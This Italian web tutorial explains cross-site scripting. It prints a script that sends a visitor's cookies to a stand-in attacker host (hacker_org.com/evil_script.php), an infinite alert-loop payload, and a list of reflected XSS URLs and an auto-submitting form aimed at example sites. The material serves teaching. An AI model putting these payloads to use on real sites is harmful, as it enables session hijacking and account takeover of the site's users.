Nessun risultato. Prova con un altro termine.
Guide
Notizie
Software
Tutorial

Cross-site scripting (XSS)

Cosa è e come si esegue un attacco di tipo Cross-site scripting
Cosa è e come si esegue un attacco di tipo Cross-site scripting
Link copiato negli appunti

Nel caso in cui un'applicazione Web (in special modo webmail, forum, blog e simili) visualizzi dati provenienti da sorgenti esterne, senza un accurato controllo è possibile che i dati di ingresso veicolino possibili exploit volti in generale all'esecuzione di codice sulle macchine client (scripting lato client) oppure all'ottenimento di dati dai client stessi. Per una panoramica generale su queste tecniche si rimanda all'articolo Tecniche: Cross Site Scripting pubblicato nella sezione Sicurezza di HTML.it

Exploit per l'ottenimento di dati

Poniamo che un forum mal scritto presenti ai visitatori tutto ciò che viene da essi inserito, senza alcun tipo di controllo. Bene (non troppo): un cracker non esiterebbe ad inserire, quale nuovo messaggio (post), il seguente:

<script language="javascript">
  document.location.href="http://hacker_org.com/evil_script.php?data="+document.cookie;
</script>

in cui evil_script.php è uno script in suo controllo, residente su altro server. Nella pagina HTML (del forum) risultante, inviata al browser, si avrebbe quindi tale testo come corpo del messaggio appena scritto; essendo questo in fin dei conti puro codice JavaScript, il browser collegato non indugerebbe ad interpretarlo, portando a caricare la nuova pagina evil_script.php e passandole l'intero contenuto del cookie associato via query string.

evil_script carpirà tutto ciò che sia contenuto nei cookies associati al dominio crackato. Ivi compresi i dati relativi al session_id!

Ad esempio:

PHPSESSID=f3ca8197a2e182f891e09da05467131b; clickedFolder=2; highlightedTreeviewLink=2

In questo modo, senza dover ottenere un log-in valido, il cracker può probabilmente, in assenza di altre misure di sicurezza, simulare l'utente attaccato e riuscire a navigare nel forum come utente legittimo. E a rimediare chissà quali danni.

E se il suo fosse un account da amministratore?

Esecuzione di codice di scripting o "iniezione" di HTML

Oltre al furto di dati importanti, non è la prima volta che la tecnica XSS viene utilizzata da "buontemponi" che, iniettando ad esempio il seguente codice nell'applicazione vulnerabile:

<script>while(true){alert("Ah ah ah");}</script>

altro non fanno che costringere l'utente visualizzatore ad uccidere il task relativo al browser, giusto per evitare di dover continuare, infinitamente, a cliccare sul tasto "Ok".

Questo è semplicemente un esempio della possibilità di eseguire codice su browser: l'esecuzione di codice è resa agevole dal fatto che talvolta le applicazioni visualizzano direttamente ciò che ricevono via query string, senza filtrare nulla. Come conseguenza diretta - e questo è importante - è sufficiente inserire via URL ciò che si vuol fare eseguire al client!

Per fissare le idee: molti siti o programmi Web ripetono (visualizzano) ciò che inseriamo in un ipotetico campo di ricerca anche nella pagina HTML successiva, quella in cui vengono visualizzati tutti i risultati trovati, trasportando tali informazioni via query string tra una pagina e l'altra.

In assenza di filtraggio, la pagina di risultato fa eseguire al browser - il quale non batte ciglio - il codice JavaScript che inseriamo  nel campo di ricerca stesso.

Alcuni esempi reali (è l'utente attaccato che viene portato a digitare quanto esposto)

Molti dei seguenti esempi fanno comparire semplicemente un alert (avviso) JavaScript nella finestra del browser.

[GET] http://www.sito-di-esempio.com/virusSearch.php?VN=<script>alert('XSS')</script>
[GET] http://www.sito-di-esempio.com/search/images/view?p=%3Cscript%3Ealert('XSS')%3C/script%3E
[GET] http://www.sito-di-esempio.com/search?type-index="><script>alert('XSS')</script><x%20y="
[GET] https://www.sito-di-esempio.com/logonfailed.htm?--><script>alert('XSS')</script><!--
[GET] http://www.sito-di-esempio.com/viewcvs.cgi/<script>alert('XSS')</script>
[GET] http://www.sito-di-esempio.com/register.php?id=TclDevKit&required=1& LastName=&EmailAddress="><script>alert(document.cookie)</script><x%20y="&Company=&submit.x=50
[GET] http://www.sito-di-esempio.com/securityfocus/SearchServlet?col=";alert(document.cookie);//
[POST] <form name="f" action="http://www.sito-di-esempio.com/static_suchen" method="post"><input name=search  value='<script>alert(document.cookie)</script>'></form><script>f.submit()</script>
[GET]http://search.dooyoo.de/search/products/<img%20src=javascript:alert(document.cookie)>
[GET] http://www.sito-di-esempio.com/test.php?in=<body%20OnLoad=alert('XSS')>
[GET] http://www.sito-di-esempio.com/test.php?in=<table%background="javascript:alert('XSS')">
[GET] http://www.sito-di-esempio.com/test.php?in=<A%20HREF="http://goooooggle.com/">Clicca qui </A>

Ti consigliamo anche